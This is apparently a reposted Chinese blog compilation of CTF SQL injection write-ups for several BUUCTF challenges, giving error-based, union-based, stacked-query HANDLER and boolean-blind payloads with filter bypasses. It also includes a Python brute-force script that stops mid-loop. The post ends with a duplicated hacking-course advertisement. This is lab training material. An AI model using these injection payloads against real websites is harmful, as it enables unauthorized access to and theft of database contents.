2024年最新CTF Web SQL注入专项整理(持续更新中)

05-14 阅读 0评论

使用right()突破字符限制

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

2024年最新CTF Web SQL注入专项整理(持续更新中)

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:

flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制

这两种函数大同小异,不再赘述

当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以

大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#

2024年最新CTF Web SQL注入专项整理(持续更新中)

2024年最新CTF Web SQL注入专项整理(持续更新中)

1'or(extractvalue(1,concat(0x7e,(select(database())))))#

2024年最新CTF Web SQL注入专项整理(持续更新中)

2024年最新CTF Web SQL注入专项整理(持续更新中)

好了大家已经明显看到了^和()绕过不同限制的区别

那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

2024年最新CTF Web SQL注入专项整理(持续更新中)

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

2024年最新CTF Web SQL注入专项整理(持续更新中)

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#

2024年最新CTF Web SQL注入专项整理(持续更新中)

使用right()突破字符限制

1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#

2024年最新CTF Web SQL注入专项整理(持续更新中)

拼接得到最终flag:

flag{389c9161-c2eb-403a-8062-80f219ca1c30}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134450773

md5与SQL之间的碰撞
【例题】BUUCTF [GXYCTF2019]BabySQli 1 详解!

题目环境

2024年最新CTF Web SQL注入专项整理(持续更新中)

burp抓包

随便输入值

2024年最新CTF Web SQL注入专项整理(持续更新中)

repeater放包

2024年最新CTF Web SQL注入专项整理(持续更新中)

在注释那里发现某种编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式

通过测试发现是套加密(二次加密)

首先使用base32对此编码进行解码

base32解码

2024年最新CTF Web SQL注入专项整理(持续更新中)

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码

2024年最新CTF Web SQL注入专项整理(持续更新中)

得到一段SQL查询语句

select * from user where username = '$name'

通过对这段SQL语句的初步判断

可以得出此题的注入点是参数name

判断注入类型

1

123

2024年最新CTF Web SQL注入专项整理(持续更新中)

1’

123

2024年最新CTF Web SQL注入专项整理(持续更新中)

发生报错

可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1

123

2024年最新CTF Web SQL注入专项整理(持续更新中)

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin

密码暂且还不知道

判断字段数

1’ union select 1,2#

123

2024年最新CTF Web SQL注入专项整理(持续更新中)

1’ union select 1,2,3#

123

2024年最新CTF Web SQL注入专项整理(持续更新中)

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3#

123

2024年最新CTF Web SQL注入专项整理(持续更新中)

1’ union select 1,‘admin’,3#

123

2024年最新CTF Web SQL注入专项整理(持续更新中)

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。

查看题目源码

2024年最新CTF Web SQL注入专项整理(持续更新中)

在search.php源代码哪里发现关键代码

2024年最新CTF Web SQL注入专项整理(持续更新中)

if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}

发现参数password被md5加密

看着和之前做过的题很类似

大致就是传进去的值要进行md5值加密

换种方式猜测

username数据表里面的3个字段分别是flag、name、password。

猜测只有password字段位NULL

咱们给参数password传入的值是123

那么传进去后,后台就会把123进行md5值加密并存放到password字段当中

我们使用查询语句的时候

我们pw参数的值会被md5值进行加密

然后再去与之前存入password中的md5值进行比较

如果相同就会输出flag

爆flag:

这里pw参数的值为123456

可以随便传

但是要对传入的那个值进行md5值加密

网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#

123456

2024年最新CTF Web SQL注入专项整理(持续更新中)

得出flag:

flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

handler命令用法
【例题】BUUCTF [GYCTF2020]Blacklist 1详解

题目环境

2024年最新CTF Web SQL注入专项整理(持续更新中)

判断注入类型

1

2024年最新CTF Web SQL注入专项整理(持续更新中)

1’

2024年最新CTF Web SQL注入专项整理(持续更新中)

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

2024年最新CTF Web SQL注入专项整理(持续更新中)

查表

1’;show tables;

2024年最新CTF Web SQL注入专项整理(持续更新中)

存在FlagHere数据表

极有可能当中存在flag

查字段数

– - 是闭合符

1’ order by 3 – -

2024年最新CTF Web SQL注入专项整理(持续更新中)

1’ order by 2 – -

2024年最新CTF Web SQL注入专项整理(持续更新中)

可知只有两个字段数

查FlagHere数据表的字段名

1’;show columns from FlagHere;

2024年最新CTF Web SQL注入专项整理(持续更新中)

存在flag字段!

查words数据表的字段名

1’;show columns from words;

2024年最新CTF Web SQL注入专项整理(持续更新中)

从这里看的话这题与buuctf[强网杯 2019]随便注 1这道题是有几分相似的

后者是通过改表名来获取flag值,但是前者既然放到了后边,应该没有那么容易

猜测修改表名的命令极有可能被过滤了

后者题解非常详细可以看看下面这个链接(同时也包含handler解法!)

https://blog.csdn.net/m0_73734159/article/details/134049744

判断命令是否存在过滤

rename

2024年最新CTF Web SQL注入专项整理(持续更新中)

return preg_match(“/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i”,$inject);

果不其然改表名的两个关键命令被过滤了

rename和alter

包括查询命令也被过滤了

select

通过handler命令获取flag

select这个查询命令大家都很熟悉

但是我们却忽略了一个也很重要的角色

那就是handler查询命令

虽然handler这个命令不常见

但是它也非常强大

handler命令查询规则

  • handler table_name open;handler table_name read first;handler table_name close;
  • handler table_name open;handler table_name read next;handler table_name close;

    如何理解?

    • 首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
    • 首先打开数据库,开始循环读取,读取成功后进行关闭操作。

      构造payload

      • 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
      • 1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;

        上传payload

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        得到flag:

        flag{29e0c4b0-b659-4115-a74c-f3c25d3aac9b}

        原文链接:https://blog.csdn.net/m0_73734159/article/details/134731461?spm=1001.2014.3001.5501

        布尔盲注
        【例题】BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1(SQL注入之布尔盲注)

        题目环境

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        判断注入类型

        1

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        2

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        3

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        1’

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        输入1’报错提示bool(false)

        可知是字符型的布尔注入(盲注)

        尝试万能密码

        1’ or ‘1’=1

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        已检测SQL注入

        猜测某些关键字或者字符被过滤

        FUZZ字典爆破

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        2024年最新CTF Web SQL注入专项整理(持续更新中)

        可以看到部分关键字被过滤,包括空格

        All You Want Is In Table ‘flag’ and the column is ‘flag’

        Now, just give the id of passage

        通过提示可以知道

        flag字段在flag数据表里面

        布尔注入

        布尔注入是一种常见的SQL注入攻击技术,攻击者通过构造恶意输入,使应用程序的SQL查询返回不同的结果,从而达到绕过应用程序的安全机制,获取未授权的信息或执行恶意操作的目的。

        布尔盲注

        布尔盲注,也称为基于布尔的盲注,是一种SQL注入攻击方式。这种攻击方式主要利用Web页面的返回结果,根据页面返回的True或者是False来得到数据库中的相关信息。

        在进行布尔盲注攻击时,攻击者首先需要对目标应用程序进行SQL注入,然后根据页面返回的结果来判断注入是否成功。由于页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。因此,这种攻击方式比较消耗时间,速度较慢。

        在布尔盲注中,攻击者可能会使用一些常用的函数,如length()函数和ascii()函数。length()函数用于返回字符串的长度,ascii()函数用于返回字符串的字符ASCII码值。这些函数可以帮助攻击者更好地分析和理解返回结果,从而获取更多的信息。

        总之,布尔盲注是一种比较复杂的SQL注入攻击方式,需要攻击者具备一定的技术水平和耐心。为了防止布尔盲注攻击,应该加强应用程序的安全性,如进行输入验证、使用参数化查询等措施。

        通过脚本爆破flag

        import requests
        #调用请求模块
        import time
        #调用时间模块
        import re
        #调用规则表达式模块
        url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'
        #题目链接
        flag = ''
        #创建一个变量用来存放flag值
        for i in range(1,50):
            #for循环遍历,i表示flag值大致长度是50以内
            max = 127
            #赋值127
            min = 0
            #赋值0
            for c in range(0,127):
                #for循环遍历
                s = (int)((max+min)/2)
                #首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。
                payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
                #^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
                #从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))
                #将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。
                r = requests.post(url,data = {'id':payload})
                #requests模块的运用,将payload赋值给题目中这个名为id的参数
                time.sleep(0.005)
                #每循环一次休眠0.005秒
                if 'Hello' in str(r.content):
                    #如果Hello这个字符串在生成的结果中,那么就继续向下进行
                    max=s
                #将s的值赋值给max
        ### 如何自学黑客&网络安全
        #### 黑客零基础入门学习路线&规划
        **初级黑客**  
         **1、网络安全理论知识(2天)**  
         ①了解行业相关背景,前景,确定发展方向。  
         ②学习网络安全相关法律法规。  
         ③网络安全运营的概念。  
         ④等保简介、等保规定、流程和规范。(非常重要)
        **2、渗透测试基础(一周)**  
         ①渗透测试的流程、分类、标准  
         ②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking  
         ③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察  
         ④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
        **3、操作系统基础(一周)**  
         ①Windows系统常见功能和命令  
         ②Kali Linux系统常见功能和命令  
         ③操作系统安全(系统入侵排查/系统加固基础)
        **4、计算机网络基础(一周)**  
         ①计算机网络基础、协议和架构  
         ②网络通信原理、OSI模型、数据转发流程  
         ③常见协议解析(HTTP、TCP/IP、ARP等)  
         ④网络攻击技术与网络安全防御技术  
         ⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
        **5、数据库基础操作(2天)**  
         ①数据库基础  
         ②SQL语言基础  
         ③数据库安全加固
        **6、Web渗透(1周)**  
         ①HTML、CSS和JavaScript简介  
         ②OWASP Top10  
         ③Web漏洞扫描工具  
         ④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)  
         恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
        到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
        如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!
        ## 最后
        **自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
        **深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
        **因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
        ![img](https://img-blog.csdnimg.cn/img_convert/9c274274e92e2ac1a0759e7d4f4b1216.png)
        ![img](https://img-blog.csdnimg.cn/img_convert/11e8252d0cef9d958e975cab4ea83f93.png)
        ![img](https://img-blog.csdnimg.cn/img_convert/2e37809461b916e48ae90fbd6f1c8361.png)
        ![img](https://img-blog.csdnimg.cn/img_convert/792d10f9235a061c835f652987ba0353.png)
        ![img](https://img-blog.csdnimg.cn/img_convert/22992d62e5895d8ce77112966a783665.png)
         
        **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
        [**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
        **由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
        他(菜刀、漏扫等)  
         恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
        到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
        如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!
        ## 最后
        **自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
        **深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
        **因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
        [外链图片转存中...(img-m3ssYmY8-1715438677163)]
        [外链图片转存中...(img-BX52UVwm-1715438677164)]
        [外链图片转存中...(img-zLxhqQLP-1715438677164)]
        [外链图片转存中...(img-9w35nEAb-1715438677164)]
        [外链图片转存中...(img-vM8t4cir-1715438677164)]
         
        **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
        [**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
        **由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
        

免责声明
本网站所收集的部分公开资料来源于AI生成和互联网,转载的目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。
文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

发表评论

快捷回复: 表情:
评论列表 (暂无评论,人围观)

还没有评论,来说两句吧...

目录[+]